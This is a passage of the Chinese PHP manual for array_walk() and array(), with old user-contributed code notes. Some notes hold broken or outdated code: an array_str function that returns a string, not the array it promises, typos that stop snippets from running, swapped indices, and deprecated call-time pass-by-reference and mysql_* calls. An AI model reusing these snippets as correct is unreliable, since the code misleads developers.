Array ( [foo1] => bar1 [foo2] => bar2 [12] => bar3 [foo4] => bar4 [foo5] => bar5 )

I hope this helped someone :)
add a note add a note

后退 | 起点 | 前进
array_values | 上一级 | array_walk


array_walk

(PHP 3 >= 3.0.3, PHP 4, PHP 5)

array_walk -- 对数组中的每个成员应用用户函数

说明

bool array_walk ( array &array, callback funcname [, mixed userdata] )

如果成功则返回 TRUE，失败则返回 FALSE。

将用户自定义函数 funcname 应用到 array 数组中的每个单元。典型情况下 funcname 接受两个参数。array 参数的值作为第一个，键名作为第二个。如果提供了可选参数 userdata，将被作为第三个参数传递给 callback funcname。

如果 funcname 函数需要的参数比给出的多，则每次 array_walk() 调用 funcname 时都会产生一个 E_WARNING 级的错误。这些警告可以通过在 array_walk() 调用前加上 PHP 的错误操作符 @ 来抑制，或者用 error_reporting()。

注: 如果 funcname 需要直接作用于数组中的值，则给 funcname 的第一个参数指定为引用。这样任何对这些单元的改变也将会改变原始数组本身。

注: 将键名和 userdata 传递到 funcname 中是 PHP 4.0 新增加的。

array_walk() 不会受到 array 内部数组指针的影响。array_walk() 会遍历整个数组而不管指针的位置。

用户不应在回调函数中改变该数组本身。例如增加/删除单元，unset 单元等等。如果 array_walk() 作用的数组改变了，则此函数的的行为未经定义，且不可预期。

例子 1. array_walk() 例子

<?php
$fruits = array("d" => "lemon", "a" => "orange", "b" => "banana", "c" => "apple");

function test_alter(&$item1, $key, $prefix)
{
    $item1 = "$prefix: $item1";
}

function test_print($item2, $key)
{
    echo "$key. $item2<br />\n";
}

echo "Before ...:\n";
array_walk($fruits, 'test_print');

array_walk($fruits, 'test_alter', 'fruit');
echo "... and after:\n";

array_walk($fruits, 'test_print');
?>

上例将输出：

Before ...:
d. lemon
a. orange
b. banana
c. apple
... and after:
d. fruit: lemon
a. fruit: orange
b. fruit: banana
c. fruit: apple

参见 array_walk_recursive()，create_function()，list()，foreach，each()，call_user_func_array()，array_map() 和有关 callback 类型的信息。

add a note add a note User Contributed Notes
nihaopaul at nihaopaul dot com
06-May-2006 06:59
no sure if this should go under array-walk but it does what i need, it searches a multidimensionial array by using an array to walk it, it either returns a value or an array.

function walker($walk, $array) {
   if (count($walk) >0) {
       foreach($array as $key => $value) {
           if ($key == $walk[0]) {
               if (is_array($value)) {
                   unset($walk[0]);
                   return walker(array_values($walk), $value);
               } else {
                   if (isset($value)) {
                       if (count($walk) == 1) {
                           return $value;
                       } else {
                           return 0;
                       }
                   } else {
                       return 0;
                   }
               }
           }
       }
       return 0;
   } else {
       return $array;
   }
}
ludvig dot ericson at gmail dot com
21-Nov-2005 10:09
In response to 'ibolmo', this is an extended version of string_walk, allowing to pass userdata (like array_walk) and to have the function edit the string in the same manner as array_walk allows, note now though that you have to pass a variable, since PHP cannot pass string literals by reference (logically).

<?php
function string_walk(&$string, $funcname, $userdata = null) {
   for($i = 0; $i < strlen($string); $i++) {
       # NOTE: PHP's dereference sucks, we have to do this.
       $hack = $string{$i};
       call_user_func($funcname, &$hack, $i, $userdata);
       $string{$i} = $hack;
   }
}

function yourFunc($value, $position) {
   echo $value . ' ';
}

function yourOtherFunc(&$value, $position) {
   $value = str_rot13($value);
}

# NOTE: We now need this ugly $x = hack.
string_walk($x = 'interesting', 'yourFunc');
// Ouput: i n t e r e s t i n g

string_walk($x = 'interesting', 'yourOtherFunc');
echo $x;
// Output: vagrerfgvat
?>

Also note that calling str_rot13() directly on $x would be much faster ;-) just a sample.
ibolmo
18-Nov-2005 11:53
If anyone is interested to implement the array_walk functionality to a string. I've made this handy function. Note that this can be easily extended for any type of purpose. I've used this to convert from a string of bytes to a hex string then back from hex to a byte string.
<?php
function string_walk($string,$funcname)
{
   for($i=0;$i<strlen($string);$i++) {
       call_user_func($funcname,$string{$i});
   }
}

function yourFunc($val)
{
   echo $val.' ';
}

string_walk('interesting','yourFunc');
//ouput: i n t e r e s t i n g
?>
thomas dot hebinck at digionline dot de
31-Oct-2005 10:07
This is a short way to concatenate a string to each element of an array:

$arr=array(1,2,3,4,5,6,7,8,9,0);
$str=' test'; // must not include ' or " ...

array_walk($arr,create_function('&$elem','$elem .= "' . $str . '";'));

var_export($arr);

The output is:
array ( 0 => '1 test', 1 => '2 test', 2 => '3 test', 3 => '4 test', 4 => '5 test', 5 => '6 test', 6 => '7 test', 7 => '8 test', 8 => '9 test', 9 => '0 test', )
Andrzej Martynowicz at gmail dot com
19-Sep-2005 09:03
It can be very useful to pass the third (optional) parameter by reference while modifying it permanently in callback function. This will cause passing modified parameter to next iteration of array_walk(). The exaple below enumerates items in the array:

<?
function enumerate( &$item1, $key, &$startNum ) {
   $item1 = $startNum++ ." $item1";
}

$num = 1;

$fruits = array( "lemon", "orange", "banana", "apple");
array_walk($fruits, 'enumerate', $num );

print_r( $fruits );

echo '$num is: '. $num ."\n";
?>

This outputs:

Array
(
   [0] => 1 lemon
   [1] => 2 orange
   [2] => 3 banana
   [3] => 4 apple
)
$num is: 1

Notice at the last line of output that outside of array_walk() the $num parameter has initial value of 1. This is because array_walk() does not take the third parameter by reference.. so what if we pass the reference as the optional parameter..

<?
$num = 1;

$fruits = array( "lemon", "orange", "banana", "apple");
array_walk($fruits, 'enumerate', &$num ); // reference here

print_r( $fruits );

echo '$num is: '. $num ."\n";
echo "we've got ". ($num - 1) ." fruits in the basket!";
?>
This outputs:
Array
(
   [0] => 1 lemon
   [1] => 2 orange
   [2] => 3 banana
   [3] => 4 apple
)
$num is: 5
we've got 4 fruits in the basket!

Now $num has changed so we are able to count the items (without calling count() unnecessarily).

As a conclusion, using references with array_walk() can be powerful toy but this should be done carefully since modifying third parameter outside the array_walk() is not always what we want.
webmaster at tmproductionz dot com
19-Jul-2005 03:54
to the note right before this one.  that will only trim leading and trailing white space. if you want to trim white space inside the string (ie 'hello    world' to 'hello world') you should use this:

$val = preg_replace ( "/\s\s+/" , " " , $val ) ;

this will also trim leading and trailing white space.
el_porno at web dot de
27-May-2005 06:03
You want to get rid of the whitespaces users add in your form fields...?
Simply use...:

class SomeVeryImportantClass
{
...
   public function mungeFormData(&$data)
   {
       array_walk($data, array($this, 'munge'));
   }

   private function munge(&$value, &$key)
   {
       if(is_array($value))
       {
           $this->mungeFormData($value);
       }
       else
       {
           $value = trim($value);
       }
   }
...
}

so...
$obj = new SomeVeryImportantClass;
$obj->mungeFormData($_POST);
___
eNc
caliban at darklock dot com
24-May-2005 01:33
> I believe this relies on the deprecated runtime
> pass-by-reference mechanism

The array() keyword is a language construct, not a function, so I don't think this is applicable.
Enlightened One
08-Apr-2005 02:17
Beware that "array ($this, method)" construct. If you're wanting to alter members of the "$this" object inside "method" you should construct the callback like this:

  $callback[] = &$this;
  $callback[] = method;
  array_walk ($input, $callback);

Creating your callback using the array() method as suggested by "appletalk" results in a copy of $this being passed to method, not the original object, therefor any changes made to the object by method will be lost when array_walk() returns. While you could construct the callback with "array(&$this, method)", I believe this relies on the deprecated runtime pass-by-reference mechanism which may be removed in future releases of PHP. Better to not create a dependence on that feature now than having to track it down and fix it in the future.
Hayley Watson
17-Jan-2005 10:27
As well as being able to pass the array the callback will be working on by reference, one can pass the optional userdata parameters by reference also:
<?php

function surprise($x,$key,$xs)
{
   //$key is unused here.
   $x.='!';
   array_push($xs,$x);
}

$array1 = array('this','that','the other');
$array2 = array();

array_walk($array1,'surprise',&$array2);

print_r($array1);
print_r($array2);
?>
Of course, that precise example would be better handled by array_map, but the principle is there.
appletalk at gmail dot com
23-Dec-2004 10:26
To use array_walk with a class simply do:
array_walk($input, array($this, method) );
memandeemail at gmail dot com
11-Nov-2004 09:24
If you are using array_walk on a class, dont will work

so ... try this on your own class:

class your_own_class {
   /**
   * @return void
   * @param array $input
   * @param string $funcname
   * @desc A little workaround, do the same thing.
   */
   function array_walk($input, $funcname) {
       foreach ($input as $key => $value) $this->$funcname($value, $key);
   }
}
05-Nov-2004 03:22
If array_walk_recursive() is not present and you want to apply htmlentities() on each array element you can use this:

function array_htmlentities(&$elem)
{
  if (!is_array($elem))
  {
   $elem=htmlentities($elem);
  }
  else
  {
   foreach ($elem as $key=>$value)
     $elem[$key]=array_htmlentities($value);
  }
  return $elem;
} // array_htmlentities()

If you want to output an array with print_r() and you have html in it this function is very helpful.
lgaga dot dont dot spam at muszaki dot info
16-Oct-2004 10:31
Behaviour like array_walk_recursive() can be achieved in php <=5 by a callback function to array_walk() similar to this:

function walkcallback(&$val,$key) {
   if (is_array($val)) array_walk($val,'walkcallback',$new);
   else {
       // do what you want with $val and $key recursively
   }
}
bisqwit at iki dot fi
04-Sep-2004 07:54
It's worth nothing that array_walk can not be used to change keys in the array.
The function may be defined as (&$value, $key) but not (&$value, &$key).
Even though PHP does not complain/warn, it does not modify the key.
paul at heliosville dot com
04-Sep-2004 03:13
one rather important note that was lost in the Great PHP Doc Note Purge of '04 is that you can call methods using array_walk(). Let's assume that we have a class named 'Search', in which there is a method called 'convertKeywords'. Here's how you would call that convertKeywords method from inside the class:

   array_walk($keywords, array($this, 'convertKeywords'));

Notice that, instead of giving a string as the second argument, you give an array with two items: the variable that holds the class (in this case, $this), and the method to call. Here's what it would look like if you were to call convertKeywords from an already-instantiated class:

   $search = new Search;
   array_walk($keywords, array($search, 'convertKeywords'));
Eierkoek
03-Sep-2004 09:46
normaly the $_GET array will add slashes to the array values. To remove all slashes in this array, i created the folowing code

  set_magic_quotes_runtime (0);
  function StripAllSlashes (&$ArrayGET, $Value)
  {
   if (is_array ($ArrayGET)) array_walk ($ArrayGET, "StripAllSlashes");
   else $ArrayGET = stripslashes ($ArrayGET);
  }
  if (isset ($_GET) && get_magic_quotes_gpc ()) array_walk ($_GET, "StripAllSlashes");

I hope this code was usefull,

Eierkoek
add a note add a note

后退 | 起点 | 前进
array_walk_recursive | 上一级 | array


array

(PHP 3, PHP 4, PHP 5)

array -- 新建一个数组

说明

array array ( [mixed ...] )

返回根据参数建立的数组。参数可以用 => 运算符给出索引。关于数组是什么的信息请阅读数组一节。

注: array() 是一个语言结构，用于字面上表示数组，不是常规的函数。

语法“index => values”，用逗号分开，定义了索引和值。索引可以是字符串或数字。如果省略了索引，会自动产生从 0 开始的整数索引。如果索引是整数，则下一个产生的索引将是目前最大的整数索引 + 1。注意如果定义了两个完全一样的索引，则后面一个会覆盖前一个。

在最后一个定义的数组项目之后加一个逗号虽然不常见，却是合法的语法。

下面的例子演示了怎样建立一个二维数组，怎样给相应的数组指定键名，以及怎样在普通数组中略过和继续数字索引。

例子 1. array() 例子

<?php
$fruits = array (
    "fruits"  => array("a" => "orange", "b" => "banana", "c" => "apple"),
    "numbers" => array(1, 2, 3, 4, 5, 6),
    "holes"   => array("first", 5 => "second", "third")
);
?>

例子 2. array() 的自动索引

<?php
$array = array(1, 1, 1, 1,  1, 8 => 1,  4 => 1, 19, 3 => 13);
print_r($array);
?>

上例将输出：

Array
(
    [0] => 1
    [1] => 1
    [2] => 1
    [3] => 13
    [4] => 1
    [8] => 1
    [9] => 19
)

注意索引 3 被定义了两次，保留了最后的值 13。索引 4 在 索引 8 之后定义，下一个自动生成的索引（值为 19 那个）为 9，因为最大的索引是 8。

本例建立了从 1 开始的数组。

例子 3. 从 1 开始索引的 array()

<?php
$firstquarter = array(1 => 'January', 'February', 'March');
print_r($firstquarter);
?>

上例将输出：

Array
(
    [1] => January
    [2] => February
    [3] => March
)

在 Perl 中，可以访问在双引号内的数组的值。但在 PHP 中需要将数组用花括号括起来。

例子 4. 访问双引号内的数组

<?php

$foo = array('bar' => 'baz');
echo "Hello {$foo['bar']}!"; // Hello baz!

?>

参见 array_pad()，list()，count()，foreach 和 range()。

add a note add a note User Contributed Notes
jupiter at nospam dot com
02-Jun-2006 06:33
<?php

// changes any combination of multiarray elements and subarrays
// into a consistent 2nd level multiarray, tries to preserves keys
function changeMultiarrayStructure($multiarray, $asc = 1) {
  if ($asc == 1) {  // use first subarrays for new keys of arrays
   $multiarraykeys = array_reverse($multiarray, true);
  } else {  // use the last array keys
   $multiarraykeys = $multiarray;  // use last subarray keys
  }  // end array reordering
  $newarraykeys = array();  // establish array
  foreach ($multiarraykeys as $arrayvalue) {  // build new array keys
   if (is_array($arrayvalue)) {  // is subarray an array
     $newarraykeys = array_keys($arrayvalue) + $newarraykeys;
   }  // if count(prevsubarray)>count(currentarray), extras survive
  }  // end key building loop
  foreach ($multiarray as $newsubarraykey => $arrayvalue) {
   if (is_array($arrayvalue)) {  // multiarray element is an array
     $i = 0;  // start counter for subarray key
     foreach ($arrayvalue as $subarrayvalue) {  // access subarray
       $newmultiarray[$newarraykeys[$i]][$newsubarraykey] = $subarrayvalue;
       $i++;  // increase counter
     }  // end subarray loop
   } else {  // multiarray element is a value
     foreach ($newarraykeys as $newarraykey) {  // new subarray keys
       $newmultiarray[$newarraykey][$newsubarraykey] = $arrayvalue;
     }  // end loop for array variables
   }  // end conditional
  }  // end new multiarray building loop
  return $newmultiarray;
}

// will change
$old = array('a'=>1,'b'=>array('e'=>2,'f'=>3),'c'=>array('g'=>4),'d'=>5);
// to
$new = array('e'=>array('a'=>1,'b'=>2,'c'=>4,'d'=>5),
  'f'=>array('a'=>1,'b'=>3,'d'=>5));

// note: if $asc parameter isn't default, last subarray keys used

?>

The new key/value assignment pattern is clearer with bigger arrays.
I use this to manipulate input/output data from my db. Enjoy.
bill at carneyco dot com
03-Feb-2006 12:42
I wanted to be able to control the flow of data in a loop instead of just building tables with it or having to write 500 select statements for single line items. This is what I came up with thanks to the help of my PHP brother in FL. Hope someone else gets some use out it.
<?

//set array variable
$results = array();

//talk to the db
$query = "SELECT * FROM yourtable";
$result = mysql_query($query) or die(mysql_error());

//count the rows and fields
$totalRows = mysql_num_rows($result);
$totalFields = mysql_num_fields($result);

//start the loop
for ( $i = 0; $i < $totalRows; ++$i ) {

//make it 2 dim in case you change your order
  $results[$i] = mysql_fetch_array($result);

//call data at will controlling the loop with the array
echo $results[your_row_id]['your_field_name']; }

//print the entire array to see what lives where
print_r($results);  ?>
php
07-Jan-2006 07:30
This function converts chunks of a string in an array:

function array_str($str, $len) {
  $newstr = '';
  for($i = 0; $i < strlen($str); $i++) {
   $newstr .= substr($str, $i, $len);
  }
  return $newstr;
}

use it as:

$str = "abcdefghilmn";
echo "<table width=\"100%\">\n";
foreach(array_str($str, 4) as $chunk) {
  echo "<tr><td>".$chunk."</td></tr>\n";
}
echo "</table>";

this prints:

------
abcd
------
efgh
------
ilmn
------

It don't use regular expressions. Please add this function to php :)
James
24-Nov-2005 05:04
re: m.izydorski 29-May-2005 07:17

The reason the code snippet below is "very slow" is because the backtick (`) is a shell call delimiter, not a string delimiter. Every element of the array would be executed as a shell call and the result stored as array elements.

<?
// Very slow:
$my_array = array(`sign`, `cat01`, `cat02`, ... , `cat40`,`terra01`, `terra02`, ... , `terra50`);
?>

See the backtick operator page for more information:
http://uk2.php.net/manual/en/language.operators.execution.php
matthiasDELETETHIS at ansorgs dot de
01-Jun-2005 05:52
How to use array() to create an array of references rather than of copies? (Especially needed when dealing with objects.) I played around somewhat and found a solution: place & before the parameters of array() that shall be references. My PHP version is 4.3.10.

Demonstration:

<?php
$ref1 = 'unchanged';
$ref2 = & $ref1;

$array_of_copies = array($ref1, $ref2);
print_r($array_of_copies); // prints: Array ( [0] => unchanged [1] => unchanged )
$array_of_copies[0] = 'changed'; // $ref1 = 'changed'; is not equivalent, as it was _copied_ to the array
print_r($array_of_copies); // prints: Array ( [0] => changed [1] => unchanged )

$array_of_refs = array(& $ref1, & $ref2); // the difference: place & before arguments
print_r($array_of_refs); // prints: Array ( [0] => unchanged [1] => unchanged )
$array_of_refs[0] = 'changed'; // $ref1 = 'changed'; is equivalent as $array_of_refs[0] references $ref1
print_r($array_of_refs, true); // prints: Array ( [0] => changed [1] => changed )
?>
m dot izydorski at anti_spa_m dot rubikon dot pl
30-May-2005 03:17
Ad. rdude's comment

Additionally, there is a performance loss while one are using ` marks instead ' when creating an array:

<?
//Very slow:
$my_array = array(`sign`, `cat01`, `cat02`, ... , `cat40`,`terra01`, `terra02`, ... , `terra50`);

//Much faster:
$my_array = array('sign', 'cat01', 'cat02', ... , 'cat40', 'terra01', 'terra02', ... , 'terra50');
?>

There is no reason to use ` marks (as I know), but this is a default question mark used in query output in phpMyAdmin. If you copy-paste phpMyAdmin query display, you can encounter serious performance problem.
aissatya at yahoo dot com
17-May-2005 04:48
<?php

$foo = array('bar' => 'baz');
echo "Hello {$foo['bar']}!"; // Hello baz!

?>
<?php
$firstquarter = array(1 => 'January', 'February', 'March');
print_r($firstquarter);
?>
<?php
$fruits = array (
   "fruits"  => array("a" => "orange", "b" => "banana", "c" => "apple"),
   "numbers" => array(1, 2, 3, 4, 5, 6),
   "holes"  => array("first", 5 => "second", "third")
);
?>
brian at blueeye dot us
22-Apr-2005 08:34
If you need, for some reason, to create variable Multi-Dimensional Arrays, here's a quick function that will allow you to have any number of sub elements without knowing how many elements there will be ahead of time. Note that this will overwrite an existing array value of the same path.

<?php
// set_element(array path, mixed value)
function set_element(&$path, $data) {
   return ($key = array_pop($path)) ? set_element($path, array($key=>$data)) : $data;
}
?>

For example:

<?php
echo "<pre>";
$path = array('base', 'category', 'subcategory', 'item');
$array = set_element($path, 'item_value');
print_r($array);
echo "</pre>";
?>

Will display:
Array
(
   [base] => Array
       (
           [category] => Array
               (
                   [subcategory] => Array
                       (
                           [item] => item_value
                       )
               )
       )
)
mortoray at ecircle-ag dot com
18-Feb-2005 09:35
Be careful if you need to use mixed types with a key of 0 in an array, as several distinct forms end up being the same key:

$a = array();
$a[null] = 1;
$a[0] = 2;
$a['0'] = 3;
$a["0"] = 4;
$a[false] = 5;
$a[0.0] = 6;
$a[''] = 7;
$a[] = 8;

print_r( $a );

This will print out only 3 values: 6, 7, 8.
rdude at fuzzelish dot com
18-Feb-2005 05:35
If you are creating an array with a large number of static items, you will find serious performance differences between using the array() function and the $array[] construct. For example:
<?
 // Slower method
 $my_array = array(1, 2, 3,  500);

 // Faster method
 $my_array[] = 1;
 $my_array[] = 2;
 $my_array[] = 3;

 $my_array[] = 500;
?>
michael dot bommarito at gmail dot com
15-Jan-2005 11:14
Just in case anyone else was looking for some help writing an LU decomposition function, here's a simple example.

N.B. All arrays are assumed to begin with index 1, not 0.  This is not hard to change, but make sure you specify array(1=>...), not just array(...).

Furthermore, this function is optimized to only consider variable elements of the matrices.  As $L will be a lower triangular matrix, there is no need to compute the elements of either the diagonal or the upper triangle; likewise with $U.

This function also does not check to verify that the input matrix is non-singular.

/*
 * LU Decomposition
 * @param $A initial matrix (1...m x 1...n)
 * @param $L lower triangular matrix, passed by reference
 * @param $U upper triangular matrix, passed by reference
*/
function LUDecompose($A, &$L, &$U) {
   $m = sizeof($A);
   $n = sizeof($A[1]);

   for ( $i = 1; $i <= $m; $i++ ) {
       $U[$i][$i] = $A[$i][$i];

       for ( $j = $i + 1; $j <= $m; $j++ ) {
           $L[$j][$i] = $A[$j][$i] / $U[$i][$i];
           $U[$i][$j] = $A[$i][$j];
       }
       for ( $j = $i + 1; $j <= $m; $j++ ) {
           for ( $k = $i + 1; $k <= $m; $k++ ) {
               $A[$j][$k] = $A[$j][$k] - ($L[$j][$i] * $U[$i][$k]);
           }
       }
   }

   return;
}
phpm at nreynolds dot me dot uk
12-Jan-2005 12:24
This helper function creates a multi-dimensional array. For example, creating a three dimensional array measuring 10x20x30: <?php $my_array = multi_dim(10, 20, 30); ?>

<?php

function multi_dim()
{
   $fill_value = null;

   for ($arg_index = func_num_args() - 1; $arg_index >= 0; $arg_index--) {
       $dim_size = func_get_arg($arg_index);
       $fill_value = array_fill(0, $dim_size, $fill_value);
   }

   return $fill_value;
}

?>
stephen[AT]brooksie-net[DOT]co[DOT]uk
17-Dec-2004 08:57
I think I may have found a simpler, slightly more logical route to solving the previous problem. I came across this solution when retreving data from MySql which in most cases was for individual bits of data, but also needed to reference a set of sub data from a second table.

<?php

// -------------------------------------------------------
// Function: db_get_data()
// Desc: Build array of data from mysql table and sub table(s)
// PreCondition: None
// Returns: Array of rows / sub rows from db,
// -------------------------------------------------------

function db_get_data()
{
   $ar_sub = array();

   /* [ .... code for connecting and querying DB .... ] */

   // Retireve from first table
   $row = mysql_fetch_row($result);

   // Get first two fields
   $ar_details['item0'] = $row ['field0'];
   $ar_details['item1'] = $row ['field1'];

   // Using result from query on sub table
   // for each sub row, 'push' data on sub array
   while($row_sub = mysql_fetch_array($result_sub))
   {
       array_push($ar_sub, $row_sub['sub_field']);
   }

   // Add sub array as element of parent array
   $ar_details['item3'] = $ar_sub;

   return $ar_details;
}

// -------------------------------------------------------
// Retrieving array data
// -------------------------------------------------------

// Call function
$arr_details = db_get_data()

// Output Data
echo $ar_details['item1'];
echo $ar_details['item2'];

// For each record in sub array....
for($i=0; $i<count($ar_details['item3']); $i++)
{
   echo $ar_details['item3'][$i];
}

?>

For extra sub tables the process can be repeated by adding more sub arrays, and each sub array can hold as much data as you like. Therefore allowing you to build an ever expanding tree as required. If you have the option I would recommend using nested classes though :)
baZz
17-Oct-2003 06:27
Chek this out!!!. Suppose that you want to create an array like the following:
<?php
  $arr1 = (
   0 => array ("customer"=>"Client 1","Item a"),
   1 => array ("customer"=>"Client 2","Item b")
  );
?>
Seems prety easy, but what if you want to generate it dinamically woops!!!.  Imagine that you have a file with thousands of lines and each line is a purchase order from diferent clients:
<?php
/*function to add elements*/
function addArray(&$array, $id, $var)
{
   $tempArray = array( $var => $id);
   $array = array_merge ($array, $tempArray);
}
/*The same as above but the element is an array*/
function addArrayArr(&$array, $var, &$array1)
{
   $tempArray = array($var => $array1);
   $array = array_merge ($array, $tempArray);
}
/*labels of our array or heders of the file*/
$keyarr = array("customer","item");
/*info that may you read from a file line 1 and 2*/
$valarr0 = array("Client 1","Item a");
$valarr1 = array("Client 2","Item b");

$numofrows = 2;/*In our case is just two lines*/
$tmpArray = array();
for($i = 0; $i < $numofrows; $i++){
  $tmp = "valarr$i";
  $tmpvar = ${$tmp};/*Using var of vars tricky tricky*/
  foreach( $keyarr as $key=>$value){
   addArray($tmparr,$tmpvar[$key],$value);
  }
  addArrayArr($finalarr,$i,$tmparr);
} /*voila all it's perfectly ordered on finalarr*/

/*Here we just print the info but you can insert it into a database*/
echo "Customer: ".$finalarr[0]["customer"]."<br>";
echo "Item: ".$finalarr[0]["item"]."<br>";
echo "Customer: ".$finalarr[1]["customer"]."<br>";
echo "Item: ".$finalarr[1]["item"]."<br>";
?>

The lines above should print something like:
Customer: Client 1
Item: Item a
Customer: Client 2
Item: Item b
I hope someone find this useful.
TCross1 at hotmail dot com
03-Sep-2003 03:38
here is the sort of "textbook" way to output the contents of an array which avoids using foreach() and allows you to index & iterate through the array as you see fit:

<?php

$arrayName = array("apples", "bananas", "oranges", "pears");
$arrayLength = count($arrayName);

for ($i = 0; $i < $arrayLength; $i++){
   echo "arrayName at[" . $i . "] is: [" .$arrayName[$i] . "]<br>\n";
}

?>

enjoy!

-tim
darthjarkon at hotmail dot com
10-Jul-2003 02:09
I found a slightly better way to create large 2d arrays:

<?php
// this will simply output a 2d array-- it isn't very robust but it
//suits my needs here
function display_all($array){
   echo "<table><tr>";
   foreach($array as $spot){
   echo "<td align='center' width= '20'>";
   foreach($spot as $spotdeux){
   echo "<br>".$spotdeux;
   }
   }
   echo "</tr> </table>";
}
//this actually creates the array and puts the value 0 in all
// locations.  the $xax and $yax can be upped or
//downed to create a larger or smaller array
function creater_array(){
   $ar=Array();
   $xax=5;
   $yax=5;
   $i=1;
   for ($y=0; $y<$yax; $y++)
   {
   array_push($ar,array());
   for ($x=0; $x<$xax; $x++)
   {
   array_push($ar[$y],"0");
   }
   }
return $ar;
}

$b = creater_array();
display_all($b);
?>
10-May-2003 06:53
Similarly to a comment by stlawson at sbcglobal dot net on this page:
http://www.php.net/basic-syntax.instruction-separation

It is usually advisable to define your arrays like this:
$array = array(
     'foo',
     'bar',
);

Note the comma after the last element - this is perfectly legal. Moreover,
it's best to add that last comma so that when you add new elements to the
array, you don't have to worry about adding a comma after what used to be
the last element.

<?php
$array = array(
     'foo',
     'bar',
     'baz',
);
?>
marcel at labor-club dot de
25-Feb-2003 11:58
i tried to find a way to create BIG multidimensional-arrays. but the notes below only show the usage of it, or the creation of small arrays like $matrix=array('birne', 'apfel', 'beere');

for an online game, i use a big array (50x80) elements.
it's no fun, to write the declaration of it in the ordinary way.

here's my solution, to create an 2d-array, filled for example with raising numbers.

<?php
$matrix=array();
$sx=30;
$sy=40;
$i=1;
for ($y=0; $y<$sy; $y++)
{
   array_push($matrix,array());
   for ($x=0; $x<$sx; $x++)
   {
       array_push($matrix[$y],array());
       $matrix[$x][$y]=$i;
       $i++;
   }
}
?>

if there is a better way, plz send an email. i always want to learn more php!
grubby_d at yahoo dot com
07-Dec-2002 02:58
About NULL as an array index.

An interesting thing with arrays is that you can use NULL as an index. I am trying it out with drop down list which will be used to update a database. Its not that good of an idea but it made me find the solution. For the database example you want to use the index "NULL" with quotes.

Say you have table person which has a foreign key reference to companies. BUT you want to allow the user to not specify a company as well. So you have determined that the database reference allows NULLs.

So you make a SELECT control with the lookup values as:

<OPTION value=(comp_id)>comp_name</OPTION>

using a while loop to print out the values.

Then you want the option to select NONE of the options. If you use something like -1 or 0 to represent this "blank" option you have to handle that in your php. Instead add this to your array: myarray("NULL") = "-none-" and you will get a field like this:

<OPTION value=NULL>-none-</OPTION>

Now every value from your SELECT control will be valid for the database and wont cause a foreign key references violation. it doesnt guarantee the data is coming from your trusty SELECT box so you still may want to check anyway.

Some interesting things about using the real NULL value as an array index:

<?php
$myarray = array(1, 2, 3);

echo count($myarray) . "<BR>";  // 3
$myarray[NULL] = "the null value";
echo count($myarray) . "<BR>";  // 4

if (array_key_exists(NULL, $myarray)
{ echo "this code will never be reached";}
?>

This will return FALSE and will generate this warning:

Warning: Wrong datatype for first argument in call to array_key_exists
MadLogic at Paradise dot net dot nz
01-Nov-2002 06:39
Heres a simple yet intelligent way of setting an array, grabbing the values from the array using a loop.

<?php
$ary = array("1"=>'One','Two',"3"=>'Three');
$a = '0'; $b = count($ary);
while ($a <= $b) {
  $pr = $ary[$a];
  print "$pr<br>";
  $a++;
}
?>
mads at __nospam__westermann dot dk
23-Oct-2002 10:39
In PHP 4.2.3 (and maybe earlier versions) arrays with numeric indexes may be initialized to start at a specific index and then automatically increment the index. This will save you having to write the index in front of every element for arrays that are not zero-based.

The code:

<?php
                 $a = array
       (
           21    => 1,
           2,
           3,
       );
   print '<pre>';
   print_r($a);
   print '</pre>';
?>

will print:

<?php
Array
(
   [21] => 1
   [22] => 2
   [23] => 3
)
?>
John
19-Jul-2002 02:48
Be careful not to create an array on top of an already existing variable:

<?php
$name = "John";
$name['last'] = "Doe";
?>

$name becomes "Dohn" since 'last' evaluates to the 0th position of $name.
Same is true for multi-arrays.
Markus dot Elfring at web dot de
31-May-2002 06:04
It seems to me that the use of brackets with multidimensional arrays is not described here.

But the following examples work:

<?php
$value = $point['x']['y'];
$message[1][2][3] = 'Greetings';
?>
jay at ezlasvegas dot net
21-Apr-2002 07:21
If you want to create an array of a set size and you have PHP4, use
array_pad(array(), $SIZE, $INITIAL_VALUE); This can be handy if you wish
to initialize a bunch of variables at once:

list($Var1, $Var2, etc) = array_pad(array(), $NUMBER_OF_VARS,
$INITIAL_VALUE);

Jay Walker
Las Vegas Hotel Associate
http://www.ezlasvegas.net
jjm152 at hotmail dot com
11-Mar-2002 10:22
The easiest way to "list" the values of either a normal 1 list array or a multi dimensional array is to use a foreach() clause.

Example for 1 dim array:

<?php
   $arr = array( 1, 2, 3, 4, 5 );
   foreach ( $arr as $val ) {
       echo "Value: $Val\n";
     }
?>

For multi dim array:

<?php
     $arr = array( 1 => 'one', 2 => 'two', 3 => 'three', 4 => 'four, 5 => 'five');
     foreach ( $arr as $key => $value ) {
       echo "Key: $key, Value: $value\n";
     }
?>

This is quite possibly the easiest way i've found to iterate through an array.
tobiasquinteiro at ig dot com dot br
30-Jan-2002 04:25
<?
       // This is a small script that shows how to use an multiple array
       for($x = 0;$x < 10;$x++){
               for($y = 0;$y < 10;$y++){
                       $mat[$x][$y] = "$x,$y";
               }
       }

       for($x = 0;$x < count($mat);$x++){
               for($y = 0;$y < count($mat[$x]);$y++){
                       echo    "mat[$x][$y]: " .
                               $mat[$x][$y] . " ";
               }
               echo "\n";
       }
?>
deepak_pradhan at yahoo dot com
16-Sep-2001 08:16
I have seen that most of the time we get confused with Mult-Dimensional arrays.
I found print_r to be very helpful here.

Say the defined array is:
$a = array(1,2,array("A","B"));

print_r ($a);
Should give result like this:
Array ( [0] => 1 [1] => 2 [2] => Array ( [0] => A [1] => B ) )
We can see here that:
$a is an array, $a[0]=1, $a[1]=2 and $a[2]=array it self with two elements.

thx
dp
joshua dot e at usa dot net
25-May-2001 02:12
Here's a cool tip for working with associative arrays-
Here's what I was trying to accomplish:

I wanted to hit a DB, and load the results into an associative array, since I only had key/value pairs returned. I loaded them into an array, because I wanted to manipulate the data further after the DB select, but I didn't want to hit the DB more than necessary.

Here's how I did it:

<?php
//assume db connectivity
//load it all into the associative array
$sql = "SELECT key,value FROM table";
$result = mysql_query($sql);
while($row = mysql_fetch_row($result)) {
$myArray[$row[0]] = $row[1];
}
//now we expand it
while(list($key,$value) = each($myArray)) {
echo "$key : $value";
}
?>

I found this to be super efficient, and extremely cool.
xftp at yahoo dot com
22-May-2001 11:18
This is a small script that shows how to use an array of a Class.

<?

class test{
var $test1;
var $test2;
}

$a = array();
$a[] = new test;

$a[0]->test1 = 1;
$a[0]->test2 = 1;

$a[1]->test1 = 2;
$a[1]->test2 = 2;

$x = $a[0]->test1;
$y = $a[0]->test2;

echo "$x - $y";

?>
slicky at newshelix dot com
21-Mar-2001 05:57
